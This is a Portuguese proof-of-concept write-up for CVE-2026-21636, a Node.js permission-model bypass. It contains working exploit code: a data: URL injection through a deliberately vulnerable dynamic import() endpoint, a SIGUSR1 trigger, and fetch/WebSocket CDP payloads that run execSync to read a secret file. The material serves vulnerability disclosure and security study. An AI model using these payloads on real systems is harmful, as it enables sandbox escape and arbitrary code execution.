
Prova de conceito demonstrando uma bypass do modelo de permissões do Node.js (CVE-2026-21636) que permite acesso à rede via undici/fetch para serviços locais, possibilitando execução arbitrária de código por meio do CDP.
O modelo de permissões do Node.js (--permission) foi projetado para isolar um processo restringindo o acesso ao sistema de arquivos, processos filhos, workers e rede. A CVE-2026-21636 revela que conexões feitas via undici/fetch (e net/tls) para Unix Domain Sockets e endereços TCP locais ignoram completamente a proteção de rede, mesmo quando --allow-net está ausente.
Afetado: Node.js v25 (permissões de rede ainda são experimentais no momento da divulgação).
Este PoC reproduz o conceito na v22, onde o mesmo bypass é observável.
Um atacante que consiga injetar JavaScript arbitrário em um processo executado sob --permission (mas sem --allow-net ou --allow-child-process) pode:
Dois processos são executados lado a lado dentro do contêiner sob supervisord:
target.cjs grava seu próprio PID em /tmp/target.pid na inicialização e depois entra em loop infinito (processo vítima ocioso). server.mjs expõe um servidor Express na porta :8000 com um endpoint /pid e um endpoint vulnerável /language.
/app/secret.txt pertence ao usuário app (chmod 444). Ambos os processos podem acessá-lo no nível do sistema operacional. O exploit não depende de uma barreira de permissão de arquivo — ele demonstra que server.mjs, apesar de --allow-net estar ausente, pode alcançar 127.0.0.1:9229 via fetch()/WebSocket e executar código arbitrário dentro do processo target.cjs sem sandbox. A leitura de secret.txt via CDP é a prova dessa execução de código.
Nota: o que este PoC realmente demonstra
Como
server.mjsjá é executado com--allow-fs-read=/, ler/app/secret.txtdiretamente do processo isolado é trivialmente possível usando apenas a injeção de JS (etapa 1):import { readFileSync } from 'fs'; export default { secret: readFileSync('/app/secret.txt', 'utf8') };A leitura do sistema de arquivos não é o objetivo deste PoC. O objetivo é demonstrar a CVE-2026-21636: apesar de
--allow-netestar ausente,fetch()(undici) pode estabelecer uma conexão TCP para127.0.0.1:9229, ignorando completamente a proteção de rede do modelo de permissões. O exploit usa esse bypass para pivotar para o processotarget.cjstotalmente sem sandbox via CDP e alcançar execução de código arbitrário fora do sandbox; algo que nenhuma quantidade de--allow-fs-readpermitiria.
POST /languageEsta seção está fora do escopo do PoC.
// server.mjs
app.post('/language', async (req, res) => {
const requested = req.body?.lang ?? 'fr';
res.json(await import(requested + '/index.js'));
});
O servidor realiza um import() dinâmico em uma string controlada pelo usuário. O import() do Node.js suporta nativamente o esquema de URL data::
data:text/javascript,<JS codificado em percent-encoding>
O sufixo /index.js anexado pelo servidor é neutralizado adicionando // ao final do payload (tratado como comentário de URL / fragmento de caminho ignorado).
Isso permite execução de JavaScript arbitrário dentro do processo isolado — o ponto de entrada para abusar da CVE-2026-21636.
O servidor inicia com:
node --permission --allow-fs-read=/ /app/server.mjs
A intenção: mesmo que um atacante execute código dentro de server.mjs, ele não pode alcançar a rede, gerar processos ou acessar o inspector.
A CVE-2026-21636 quebra a fronteira do --allow-net.
GET /pid → { "pid": <N> }
target.cjs grava seu próprio PID em /tmp/target.pid na inicialização. O servidor o expõe. Isso identifica o processo vítima que será usado como relé CDP.
Isso também poderia ser feito injetando JS no ponto de entrada; para simplificar, criei o endpoint /pid.
target.cjs via SIGUSR1Payload injetado via POST /language (como URL data:):
process.kill(<pid>, 'SIGUSR1');
export default { signal: 'SIGUSR1', sent_to: <pid> };
Quando um processo Node.js recebe SIGUSR1, ele inicia (ou retoma) seu depurador V8/CDP e começa a escutar em:
127.0.0.1:9229
Como target.cjs é executado sem --permission, seu inspector é totalmente privilegiado — ele pode avaliar qualquer expressão, incluindo require('child_process').execSync(...).
O envio de sinais (process.kill) não é bloqueado pelo modelo de permissões, então esta etapa é bem-sucedida de dentro do sandbox.
Segundo payload injetado via POST /language:
// busca a lista de alvos depuráveis da API HTTP do inspector
const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json();
// em seguida, abre um WebSocket para o endpoint CDP de target.cjs
const result = await new Promise(resolve => {
const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`);
ws.onopen = () => ws.send(JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: {
expression: `process.mainModule.require('child_process')
.execSync('cat /app/secret.txt').toString()`,
returnByValue: true
}
}));
ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); };
});
export default result;
Por que isso funciona apesar de --allow-net estar ausente:
fetch() no Node.js é implementado pelo undici. A CVE-2026-21636 mostra que o caminho de conexão do undici para http://127.0.0.1:... (e opções socketPath de UDS) não passa pela verificação de rede do modelo de permissões. O sandbox acredita que nenhum acesso de rede de saída foi feito, mas a conexão TCP para :9229 é bem-sucedida.
A chamada Runtime.evaluate do CDP é executada dentro do processo target.cjs sem sandbox, então require('child_process') está disponível e execSync funciona livremente.
atacante (script Python)
│
├─[1]─ GET /pid → pid = N
│
├─[2]─ POST /language data:js SIGUSR1 → inspector de target.cjs inicia em :9229
│
└─[3]─ POST /language data:js fetch+WS → CDP Runtime.evaluate → cat /app/secret.txt
↑
Bypass da CVE-2026-21636 aqui
(fetch para 127.0.0.1 sem --allow-net)
# Compilar e iniciar o ambiente
docker compose up --build -d
# Executar o exploit
python3 exploit.py
Saída esperada:
TARGET PID : 42
Response step 2 : {'signal': 'SIGUSR1', 'sent_to': 42}
SECRET : this_is_a_secret!
| Processo | Usuário | Flags | Capacidades |
|---|
target.cjs | app | nenhuma | API completa do Node.js, sem sandbox |
server.mjs | app | --permission --allow-fs-read=/ | leitura completa do FS — sem rede, sem child_process, sem worker |
| Permissão | Status |
|---|
--allow-fs-read=/ | concedida (leitura completa) |
--allow-fs-write | negada |
--allow-net | negada (experimental, não definida) |
--allow-child-process | negada |
--allow-worker | negada |
--allow-inspector | negada |